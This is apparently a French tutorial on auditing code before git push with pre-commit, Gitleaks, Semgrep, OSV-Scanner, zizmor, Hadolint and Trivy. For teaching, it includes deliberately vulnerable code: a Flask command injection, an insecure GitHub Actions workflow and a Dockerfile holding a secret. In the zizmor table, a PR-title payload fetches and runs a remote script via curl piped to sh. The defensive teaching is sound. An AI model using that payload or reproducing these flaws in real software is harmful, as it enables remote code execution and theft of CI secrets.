Auditer son code avant de pousser : le cours complet

Sep 24, 2026 · @Farid

Introduction : le meilleur moment pour trouver une faille, c'est avant qu'elle parte

Un secret poussé sur un dépôt distant, même supprimé dix secondes plus tard, doit être considéré comme compromis : il reste dans l'historique Git, dans les forks, dans les caches. Une faille détectée sur ton poste coûte une minute ; la même faille détectée en production coûte un incident. Ce cours t'apprend à installer, comprendre et adopter les outils qui auditent ton code **avant** le `git push`.

Les chiffres de 2026 montrent pourquoi c'est urgent. Le State of DevSecOps 2026 de Datadog (publié le 26 février 2026) relève que 87 % des organisations exécutent au moins une vulnérabilité connue et exploitable en production, et que la dépendance médiane a 278 jours de retard. Seules 4 % des organisations épinglent toutes leurs GitHub Actions par SHA de commit.

Et en mars 2026, l'outil de sécurité lui-même est devenu l'arme : Trivy, le scanner open source le plus étoilé du domaine, a été compromis, et 76 de ses 77 tags d'action GitHub ont été redirigés vers un voleur d'identifiants (avis officiel). Ce cours en tire les leçons à chaque étape.

Ce que tu sauras faire à la fin :

- expliquer où et quand chaque contrôle s'exécute ;
- installer un pipeline local complet avec pre-commit ;
- lire et traiter un résultat de Gitleaks, Semgrep, OSV-Scanner, zizmor, Hadolint et Trivy ;
- gérer les faux positifs sans désactiver les outils ;
- déployer tout ça dans une équipe sans la braquer.

Prérequis : Git en ligne de commande, Python 3 (pour pre-commit) et, en option, Docker.

Le modèle mental : trois portes de contrôle

Un hook Git est simplement un programme que Git exécute à un moment précis. Si le hook `pre-commit` sort avec un code différent de zéro, Git annule le commit avant de le créer ; c'est tout le mécanisme (githooks(5)). Les hooks vivent dans `.git/hooks/`, un dossier qui n'est **pas** versionné : c'est pour ça qu'on a besoin d'un outil pour les partager.

Pense ton audit comme trois portes successives :

```
flowchart LR
    A[Tu codes] --> B[git commit<br/>porte 1 : rapide]
    B --> C[git push<br/>porte 2 : complète]
    C --> D[CI<br/>porte 3 : obligatoire]
    D --> E[Branche principale]
```

Les deux premières portes tournent sur ton poste, la troisième sur un serveur propre.

Porte	Déclencheur	Ce qu'on y met	Budget de temps	Contournable ?
1. pre-commit	`git commit`	Secrets, clés privées, SAST sur les fichiers modifiés	< 10 s	Oui, `git commit --no-verify`
2. pre-push	`git push`	Dépendances, workflows CI, Dockerfile, IaC sur tout le dépôt	< 1 min	Oui, `git push --no-verify`
3. CI	Pull request	Les mêmes contrôles, relancés, plus les analyses lourdes	Plusieurs minutes	Non, si la branche est protégée

Retiens la règle d'or : **les hooks locaux servent à te faire gagner du temps, la CI sert à faire respecter la règle.** Un hook se contourne, se supprime ou n'est jamais installé par un collègue. C'est pourquoi on relance toujours la même configuration en CI.

pre-commit, le chef d'orchestre

pre-commit (v4.6.2 au 24 septembre 2026) n'audite rien lui-même : il lit un fichier `.pre-commit-config.yaml`, télécharge chaque outil à la version demandée dans un environnement isolé, puis l'exécute au bon moment. Tu n'as pas à installer Gitleaks ou Semgrep à la main : pre-commit s'en charge.

Installer et activer

```
pipx install pre-commit        # ou : pip install pre-commit
pre-commit --version           # pre-commit 4.6.2
cd mon-projet
pre-commit install             # écrit .git/hooks/pre-commit (et pre-push,
voir plus bas)
```

`pre-commit install` est à lancer **une fois par clone**. Un nouveau collègue qui oublie cette commande n'aura aucun hook actif, d'où l'importance de la CI.

Anatomie d'un fichier de configuration

```
default_install_hook_types: [pre-commit, pre-push]   # installe les deux
portes d'un coup
repos:
  - repo: https://github.com/gitleaks/gitleaks         # où se trouve l'outil
    rev: v8.30.1                                       # quelle version
    hooks:
      - id: gitleaks                                   # quel hook (défini
par l'outil)
  - repo: https://github.com/google/osv-scanner
    rev: v2.6.0
    hooks:
      - id: osv-scanner
        stages: [pre-push]                             # ne tourne qu'au push
```

Trois notions suffisent :

- **repo + rev** : le dépôt de l'outil et la version à utiliser. Chaque outil publie à sa racine un fichier `.pre-commit-hooks.yaml` qui décrit ses hooks ; c'est la source de vérité pour les `id` disponibles.
- **stages** : à quelle porte le hook s'exécute. Depuis pre-commit 3.2, les valeurs portent le nom du hook Git (`pre-commit` , `pre-push`) ; le stage spécial `manual` ne s'exécute qu'à la demande (doc avancée).
- **fichiers ciblés** : par défaut, au commit, pre-commit ne passe à chaque outil que les fichiers **indexés** qui le concernent. C'est ce qui rend la porte 1 rapide.

Les commandes du quotidien

Commande	À quoi elle sert
`pre-commit run --all-files`	Auditer tout le dépôt maintenant (premier passage, ou en CI)
`pre-commit run --all-files --hook-stage pre-push`	Lancer les hooks de la porte 2 sans pousser
`pre-commit run gitleaks`	Lancer un seul hook
`SKIP=semgrep git commit -m "..."`	Sauter **un** hook précis plutôt que tous avec `--no-verify`

Commande	À quoi elle sert
`pre-commit autoupdate --freeze`	Passer à la dernière version de chaque outil, figée par SHA
`pre-commit uninstall`	Retirer les hooks et restaurer l'état précédent

Pourquoi figer par SHA

Un tag Git (`v8.30.1`) peut être déplacé par quiconque a les droits d'écriture sur le dépôt : c'est exactement ce qui est arrivé à trivy-action en mars 2026. Un SHA de commit, lui, est immuable. `pre-commit autoupdate --freeze` écrit donc des lignes comme `rev: 0161422b… # frozen: v2.4.0` : le SHA fait foi, le commentaire garde la lisibilité (doc CLI).

Relancer en CI

La doc officielle recommande d'ajouter `pre-commit run --all-files` comme étape de CI, ou `pre-commit run --from-ref origin/HEAD --to-ref HEAD` pour ne vérifier que les fichiers modifiés (usage en CI). Exemple GitHub Actions minimal :

```
# .github/workflows/pre-commit.yml
name: pre-commit
on: pull_request
permissions:
  contents: read
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<SHA-du-commit>   # épingler par SHA, voir la
section zizmor
        with:
          persist-credentials: false
      - run: pipx install pre-commit
      - run: pre-commit run --all-files --hook-stage pre-commit
      - run: pre-commit run --all-files --hook-stage pre-push
```

Secrets : Gitleaks, le garde du corps

Gitleaks (v8.30.1, 29 461 étoiles) détecte mots de passe, clés d'API et tokens dans un dépôt Git, des fichiers ou l'entrée standard. C'est le contrôle le plus rentable du cours : il tourne en une fraction de seconde et bloque l'erreur la plus coûteuse.

Comment il détecte

Chaque règle combine deux ingrédients :

- une **expression régulière** qui reconnaît la forme d'un secret (le préfixe `ghp_` d'un token GitHub, `AKIA` pour AWS, etc.) ;
- un seuil d'**entropie de Shannon** optionnel, qui mesure à quel point une chaîne est aléatoire. `password123` a une entropie faible ; `8dyfuiRyq=vVc3RRr_edRk` a une entropie élevée.

Le hook pre-commit officiel lance `gitleaks git --pre-commit --redact --staged --verbose` : il n'analyse que ce que tu t'apprêtes à committer (`--staged`) et masque le secret dans la sortie (`--redact`), pour qu'il ne finisse pas dans tes logs.

Lire un résultat

```
Finding:     "export BUNDLE_ENTERPRISE__CONTRIBSYS__COM=cafebabe:deadbeef",
Secret:      cafebabe:deadbeef
RuleID:      sidekiq-secret
Entropy:     2.609850
File:        cmd/generate/config/rules/sidekiq.go
Line:        23
Fingerprint: cd52267…:cmd/generate/config/rules/sidekiq.go:sidekiq-secret:23
```

(exemple tiré du README officiel). Les champs qui comptent : `RuleID` te dit **quel type** de secret, `File` et `Line` **où**, et `Fingerprint` identifie ce résultat de façon unique.

Gérer les faux positifs, du plus précis au plus large

1. **Un commentaire sur la ligne** : `#gitleaks:allow` en fin de ligne, pour un secret de test assumé.
2. **Un fichier `.gitleaksignore`** à la racine, qui liste des `Fingerprint` à ignorer (fonction marquée expérimentale par le projet).
3. **Une baseline** : sur un vieux dépôt, `gitleaks git --report-path baseline.json` enregistre l'existant, puis `--baseline-path baseline.json` ne signale plus que les nouveaux secrets.
4. **Un fichier `.gitleaks.toml`** pour étendre la configuration par défaut avec tes propres règles ou exclusions de chemins.

Préfère toujours le niveau le plus précis : une exclusion de dossier entier cache aussi les vrais secrets de demain.

Si un secret est déjà parti

L'ordre compte :

1. **Révoquer et remplacer le secret immédiatement**, chez le fournisseur (AWS, GitHub, Stripe…). C'est la seule action qui neutralise la fuite.
2. Chercher des traces d'utilisation dans les journaux du fournisseur.
3. Seulement ensuite, nettoyer l'historique Git si nécessaire. Réécrire l'historique sans révoquer ne sert à rien : les clones et les forks gardent la copie.

Et TruffleHog ?

TruffleHog (v3.97.9, 28 037 étoiles) est l'alternative principale. Son hook officiel utilise `--results=verified` : il ne signale que les secrets dont il a **vérifié** qu'ils sont encore actifs en interrogeant le fournisseur. Moins de bruit, mais un appel réseau à chaque commit. Beaucoup d'équipes combinent Gitleaks en local et TruffleHog en CI.

Analyse statique : S

emgrep et Opengrep, le relecteur infatigable

L'analyse statique (SAST) lit ton code sans l'exécuter et cherche des motifs dangereux : injection SQL ou de commande, désérialisation non sûre, crypto faible. Semgrep (v1.178.0, 16 747 étoiles) est l'outil le plus adopté pour ça en local, parce que ses règles ressemblent au code qu'elles cherchent.

Semgrep ou Opengrep ?

Fin 2024, Semgrep Inc. a déplacé plusieurs fonctions de l'édition communautaire (dont l'analyse de flux inter-fonctions) vers sa plateforme commerciale. En janvier 2025, une dizaine d'éditeurs (Aikido, Endor Labs, Jit, Orca…) ont créé Opengrep (v1.30.0), un fork sous LGPL-2.1 qui restaure ces fonctions et reste compatible avec les règles Semgrep. Pour ce cours, tout ce qui suit fonctionne avec les deux.

Comprendre une règle en écrivant la tienne

Voici un exemple réel, testé avec Semgrep 1.178.0 le 24 septembre 2026. Le code vulnérable :

```
# app.py
import subprocess
from flask import request

def ping():
    host = request.args.get("host")
    subprocess.run("ping -c 1 " + host, shell=True)   # vulnérable

def safe():
    subprocess.run(["ping", "-c", "1", "example.com"])  # sûr
```

La règle, en mode **taint** (suivi de contamination) :

```
# regle.yaml
rules:
  - id: flask-commande-injection
    languages: [python]
    severity: ERROR
    message: >-
      Une entrée utilisateur atteint une commande shell :
      risque d'injection de commande. Passe une liste d'arguments sans
shell=True.
    mode: taint
    pattern-sources:
      - pattern: request.args.get(...)          # d'où vient la donnée
dangereuse
    pattern-sinks:
      - patterns:
          - pattern: subprocess.run($CMD, ..., shell=True, ...)   # où elle
ne doit pas arriver
          - focus-metavariable: $CMD
```

Lecture : « signale tout chemin où une valeur issue de `request.args.get` atteint le premier argument d'un `subprocess.run(..., shell=True)` ». Les `...` signifient « n'importe quoi ici », et `$CMD` est une métavariable qui capture une expression.

```
semgrep scan --config regle.yaml --metrics=off app.py
```

Résultat obtenu : **1 finding**, ligne 6 uniquement. La fonction `safe()` n'est pas signalée, parce qu'aucune donnée utilisateur n'y circule. C'est la différence entre le SAST moderne et un simple `grep shell=True`.

Règles de la communauté ou règles maison

- `--config p/default` (utilisé dans la configuration pre-commit) charge un jeu de règles maintenu par Semgrep depuis son registre en ligne. Pratique, mais nécessite le réseau.
- `--config regles/` pointe vers un dossier de règles versionnées dans ton dépôt : hors ligne et adapté à ton code.
- Ajoute `--error` pour que Semgrep sorte en erreur quand il trouve quelque chose, sinon le hook ne bloque pas.

Ignorer un faux positif

Un commentaire `# nosemgrep: flask-commande-injection` en fin de ligne supprime ce résultat précis ; testé, le finding disparaît. Nomme toujours la règle : un `# nosemgrep` nu ignore **toutes** les règles sur la ligne.

Dépendances : OSV-Scanner, l'inventaire des failles connues

Ton code n'est qu'une petite partie de ce que tu livres : le reste, ce sont tes dépendances. OSV-Scanner (v2.6.0, 11 081 étoiles), maintenu par Google, relie la liste de tes dépendances aux vulnérabilités connues qui les touchent.

D'où viennent ses données

Il interroge OSV.dev, une base ouverte qui agrège des sources faisant autorité (GitHub Security Advisories, RustSec, avis de sécurité Ubuntu…). Son format décrit précisément quelles versions sont touchées, ce qui limite les faux positifs par rapport aux bases fondées sur des identifiants CPE.

Ce qu'il lit

Il parcourt ton dépôt à la recherche des **lockfiles** (`package-lock.json` , `poetry.lock` , `go.mod` , `Cargo.lock` , `pom.xml` …) : plus de 19 formats et 11 écosystèmes, selon son README. Un lockfile donne les versions **exactes** installées ; sans lui, l'outil ne peut que deviner. Première bonne pratique : versionne toujours ton lockfile.

```
osv-scanner scan source -r .     # c'est ce que lance le hook pre-push
```

Il sait aussi scanner une image (`osv-scanner scan image mon-image:tag`), vérifier les licences (`--licenses`) et proposer une remédiation guidée, c'est-à-dire les montées de version les plus rentables.

Ignorer proprement, avec une date d'expiration

Une CVE qui ne te concerne pas (fonction jamais appelée, composant non exposé) s'ignore dans un fichier `osv-scanner.toml`, placé dans le dossier du lockfile concerné :

```
[[IgnoredVulns]]
id = "GHSA-xxxx-xxxx-xxxx"
ignoreUntil = 2026-12-31          # l'exception expire : on réévalue
reason = "Fonction vulnérable non appelée, cf. ticket SEC-42"
```

Le champ `ignoreUntil` est ce qui distingue une exception assumée d'un oubli : à l'échéance, l'alerte revient et quelqu'un doit re-décider (doc de configuration).

Mettre à jour, mais pas trop vite

Datadog relève que 50 % des organisations adoptent une nouvelle version de bibliothèque dans les 24 h suivant sa sortie, ce qui les expose aux paquets piégés publiés puis retirés quelques heures plus tard (State of DevSecOps 2026). La bonne pratique 2026 : automatiser les mises à jour (Renovate, Dependabot) **avec un délai de quelques jours** avant d'adopter une nouvelle version, sauf correctif de sécurité urgent.

Workflows CI : zizmor, l'auditeur de ta CI

Tes fichiers `.github/workflows/*.yml` sont du code qui s'exécute avec tes secrets. zizmor (v1.30.1, 6 566 étoiles) les analyse statiquement et repère les configurations qui permettent de voler ces secrets. Après l'affaire Trivy, c'est le hook qui a le plus gagné en importance.

Un workflow vulnérable, analysé pour de vrai

```
# .github/workflows/ci.yml : à NE PAS reproduire
name: ci
on: pull_request_target
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: |
          echo "Titre - ${{ github.event.pull_request.title }}"
```

Lancé le 24 septembre 2026 avec `zizmor --offline ci.yml`, zizmor 1.30.1 renvoie 5 alertes affichées (3 élevées, 2 moyennes). Voici ce que chacune veut dire :

Alerte zizmor	Le problème en clair	La correction
`template-injection` (élevée)	Le titre de la PR, choisi par n'importe qui, est inséré tel quel dans un script shell. Un titre comme `"; curl evil.sh | sh; "` s'exécute.	Passer la valeur par une variable d'environnement
`unpinned-uses` (élevée)	`@v4` est un tag déplaçable, la technique de l'attaque Trivy	Épingler par SHA complet, version en commentaire
`dangerous-triggers` (moyenne)	`pull_request_target` s'exécute avec les secrets du dépôt, même pour une PR venant d'un fork	Utiliser `pull_request`
`excessive-permissions` (moyenne)	Aucun bloc `permissions:`, donc les droits par défaut du token	Déclarer `permissions` au minimum
`artipacked` (faible confiance)	`actions/checkout` laisse le token dans `.git/config`	`persist-credentials: false`

La version corrigée

```
name: ci
on: pull_request
permissions: {}                     # rien par défaut
jobs:
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read                # le strict nécessaire
    steps:
      - uses: actions/checkout@<SHA-complet-de-la-version>  # v4.x.y
        with:
          persist-credentials: false
      - run: |
          echo "Titre - ${PR_TITLE}"
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}   # donnée passée,
pas interpolée
```

Résultat : `No findings to report. Good job!`. Le SHA d'une action se trouve sur la page Releases de son dépôt ; ne le recopie jamais d'un blog.

Options utiles

- `--fix` applique les corrections automatiques quand zizmor en propose (c'était le cas pour deux des alertes ci-dessus).
- `--persona pedantic` montre aussi les alertes de faible confiance, utile pour un audit ponctuel.
- `--min-severity` filtre le bruit en CI.
- Chaque alerte renvoie à sa page de documentation, par exemple docs.zizmor.sh/audits/#template-injection.

Conteneurs et IaC : Hadolint et Trivy

Deux outils complémentaires pour tout ce qui décrit ton infrastructure. Hadolint (v2.15.1, 12 428 étoiles) est un linter spécialisé Dockerfile. Trivy (v0.74.0, 38 055 étoiles) est un couteau suisse : vulnérabilités, mauvaises configurations IaC (Dockerfile, Terraform, Kubernetes, Helm) et secrets.

Un Dockerfile, deux regards

```
FROM ubuntu:latest
RUN apt-get update && apt-get install -y curl
ADD https://example.com/app.tar.gz /app/
ENV API_KEY=changeme
CMD ["/app/run"]
```

Résultats réels obtenus le 24 septembre 2026 :

Problème	Hadolint 2.15.1	Trivy 0.74.0 (`trivy config`)
Image `latest` non figée	DL3007 (warning)	DS-0001 (MEDIUM)
Secret dans un `ENV`	DL3064 (warning)	DS-0031 (CRITICAL)
Conteneur lancé en root, pas de `USER`	—	DS-0002 (HIGH)
`--no-install-recommends` absent	DL3015 (info)	DS-0029 (HIGH)
Versions apt non figées	DL3008 (warning)	—
Cache apt non nettoyé	DL3009 (info)	—
Pas de `HEALTHCHECK`	—	DS-0026 (LOW)

Hadolint parle **qualité et reproductibilité**, Trivy parle **risque de sécurité** avec une sévérité. Les deux se recoupent sur l'essentiel et se complètent sur le reste : c'est pourquoi la configuration du cours garde les deux.

```
# Version corrigée
FROM ubuntu:24.04
RUN apt-get update \
 && apt-get install -y --no-install-recommends curl \
 && rm -rf /var/lib/apt/lists/*
COPY app/ /app/
USER 10001
HEALTHCHECK CMD ["/app/run", "--health"]
CMD ["/app/run"]
# API_KEY est injectée au lancement (secret du runtime), jamais dans l'image
```

Trivy en local, sans refaire l'erreur de mars 2026

Le hook de la configuration du cours lance :

```
trivy fs --scanners vuln,misconfig --severity HIGH,CRITICAL --exit-code 1 .
```

`--exit-code 1` fait échouer le push s'il reste un problème HIGH ou CRITICAL ; `--severity` évite de bloquer sur du LOW.

Trivy n'a pas de hook pre-commit officiel : c'est un hook `local` qui appelle **le binaire installé sur ton poste**. Tu dois donc vérifier ce que tu installes. L'avis de sécurité montre comment faire avec Cosign :

```
V=0.74.0
curl -sLO
https://github.com/aquasecurity/trivy/releases/download/v$V/trivy_${V}_Linux-
64bit.tar.gz
curl -sLO
https://github.com/aquasecurity/trivy/releases/download/v$V/trivy_${V}_Linux-
64bit.tar.gz.sigstore.json
cosign verify-blob \
  --certificate-identity-regexp 'https://github\.com/aquasecurity/' \
  --certificate-oidc-issuer 'https://token.actions.githubusercontent.com' \
  --bundle trivy_${V}_Linux-64bit.tar.gz.sigstore.json \
  trivy_${V}_Linux-64bit.tar.gz          # doit afficher : Verified OK
```

Pourquoi une signature plutôt qu'une somme de contrôle ? Un attaquant qui publie une fausse release peut aussi publier un faux fichier de sommes. La signature Sigstore, elle, prouve que l'archive a été produite par le pipeline officiel d'Aqua Security. Le bundle `.sigstore.json` existe bien pour la v0.74.0 (vérifié) ; en CI ou en image Docker, référence Trivy **par digest** (`aquasec/trivy@sha256:…`), jamais par `latest` .

Adopter ces outils sans braquer l'équipe : le plan en 4 semaines

Le premier `pre-commit run --all-files` sur un vieux projet peut sortir des centaines d'alertes. Tout bloquer dès le premier jour garantit une chose : tout le monde prendra l'habitude de `--no-verify` . La méthode qui marche est progressive.

Semaine	Ce qu'on active	Mode	Objectif de sortie
1	pre-commit + Gitleaks + detect-private-key	**Bloquant** dès le départ	Plus aucun nouveau secret ; baseline Gitleaks pour l'existant
2	OSV-Scanner + zizmor au push	Bloquant pour zizmor (peu de bruit), informatif pour OSV	Workflows CI épinglés et durcis ; liste des CVE triée
3	Semgrep sur les fichiers modifiés	Informatif, puis bloquant sur les règles à forte confiance	Règles bruyantes retirées ou ajustées
4	Hadolint + Trivy au push, même config en CI	Bloquant sur HIGH et CRITICAL	Branche principale protégée par la CI

Les quatre règles d'or des faux positifs

1. **Ignorer au plus près** : un commentaire sur la ligne (`#gitleaks:allow`, `# nosemgrep: <règle>`) plutôt qu'un dossier exclu.
2. **Toujours justifier** : un champ `reason` (OSV-Scanner) ou un commentaire qui dit pourquoi. Dans six mois, personne ne s'en souviendra.
3. **Mettre une date d'expiration** quand l'outil le permet (`ignoreUntil` dans OSV-Scanner).
4. **Faire relire les exceptions** : les fichiers `.gitleaksignore`, `osv-scanner.toml` et les `nosemgrep` passent en revue de code comme le reste.

Garder un push rapide

Un hook qui prend plus d'une minute finit contourné. Si c'est le cas : déplace l'outil lent en CI, restreins-le aux fichiers concernés (pre-commit le fait par défaut au commit), ou passe-le en stage `manual` et lance-le avant chaque PR avec `pre-commit run --hook-stage manual`.

Pourquoi prioriser plutôt que tout corriger

Selon Datadog, seules 18 % des vulnérabilités étiquetées « critiques » le restent une fois le contexte d'exécution pris en compte (State of DevSecOps 2026). Traite d'abord ce qui est à la fois grave, atteignable et exposé ; le reste passe en file d'attente avec une date.

Exercices pratiques et récapitulatif

La compréhension vient en cassant les choses dans un dépôt jetable. Crée-en un (`mkdir labo && cd labo && git init`), copie la configuration pre-commit du document d'état de l'art, lance `pre-commit install`, puis fais les exercices dans l'ordre.

- [ ] **Exercice 1 — Secret bloqué.** Crée `config.py` contenant `AWS_SECRET = "AKIA…"` avec une vraie forme de clé factice, puis `git add` et `git commit`. Le commit doit être refusé par Gitleaks. Ajoute `#gitleaks:allow` et constate que le commit passe ; retire-le ensuite.
- [ ] **Exercice 2 — Clé privée.** Crée un fichier `key.pem` commençant par `-----BEGIN RSA PRIVATE KEY-----`. `detect-private-key` doit le bloquer.
- [ ] **Exercice 3 — Ta première règle SAST.** Recopie `app.py` et `regle.yaml` de la section Semgrep, lance `semgrep scan --config regle.yaml app.py`, puis modifie `ping()` pour passer une liste d'arguments : le finding doit disparaître.

- [ ] **Exercice 4 — Workflow piégé.** Recopie le workflow vulnérable de la section zizmor, lance `pre-commit run zizmor --hook-stage pre-push --all-files`, et corrige jusqu'à obtenir « No findings ».
- [ ] **Exercice 5 — Dockerfile.** Recopie le Dockerfile de la section Hadolint/Trivy et lance les deux outils. Corrige jusqu'à ce que `trivy config --severity HIGH,CRITICAL --exit-code 1 .` sorte en 0.
- [ ] **Exercice 6 — Contournement.** Fais un commit avec `--no-verify`, puis lance `pre-commit run --all-files` : c'est exactement ce que fera la CI. Conclusion à retenir : le hook t'aide, la CI protège.

Récapitulatif en une table

Outil	Il répond à la question	Porte	Ignorer un faux positif
pre-commit	Quels contrôles lancer, quand, et à quelle version ?	Les deux	`SKIP=<id>` ponctuellement
Gitleaks	Est-ce que je pousse un secret ?	Commit	`#gitleaks:allow`, `.gitleaksignore`
Semgrep / Opengrep	Mon code contient-il un motif dangereux ?	Commit	`# nosemgrep: <règle>`
OSV-Scanner	Mes dépendances ont-elles des failles connues ?	Push	`osv-scanner.toml` avec `ignoreUntil`
zizmor	Ma CI peut-elle être détournée ?	Push	Configuration zizmor
Hadolint	Mon Dockerfile est-il propre et reproductible ?	Push	Commentaire `# hadolint ignore=<règle>`
Trivy	Mon IaC et mes images sont-elles sûres ?	Push	`.trivyignore`

Les cinq idées à retenir

1. Les hooks locaux font gagner du temps ; seule la CI fait respecter la règle.
2. Rapide au commit, complet au push.
3. Tout se fige par SHA ou par digest, jamais par tag, outils de sécurité compris.
4. Un faux positif s'ignore au plus près, avec une raison et une date.
5. Un secret poussé se révoque d'abord, se nettoie ensuite.

Sources consultées

Toutes les sources ont été consultées le 24 septembre 2026. Les versions et étoiles viennent des pages GitHub de chaque projet ; les exemples Semgrep, zizmor, Hadolint et Trivy ont été exécutés ce jour-là avec les versions indiquées. Seule la vérification Cosign n'a pas pu être exécutée dans l'environnement de test (accès réseau à Sigstore bloqué) : la commande est reprise de l'avis officiel de Trivy.

Source	Date	Utilisée pour
Documentation officielle pre-commit	v4.6.2	Installation, stages, `autoupdate --freeze`, usage en CI
githooks(5)	Page de manuel Git	Fonctionnement des hooks et `--no-verify`
README Gitleaks	v8.30.1	Détection, allowlists, baseline
Semgrep et Opengrep	v1.178.0 / v1.30.0	Règles taint, fork de janvier 2025
README et configuration OSV-Scanner	v2.6.0	Lockfiles, base OSV, `IgnoredVulns`
zizmor et documentation des audits	v1.30.1	Audits de workflows GitHub Actions
Hadolint	v2.15.1	Règles Dockerfile
Avis GHSA-69fq-xp46-6x23 (Trivy)	21 mars 2026	Compromission de Trivy, vérification Sigstore
Datadog, State of DevSecOps 2026	26 février 2026	Chiffres d'exposition et de priorisation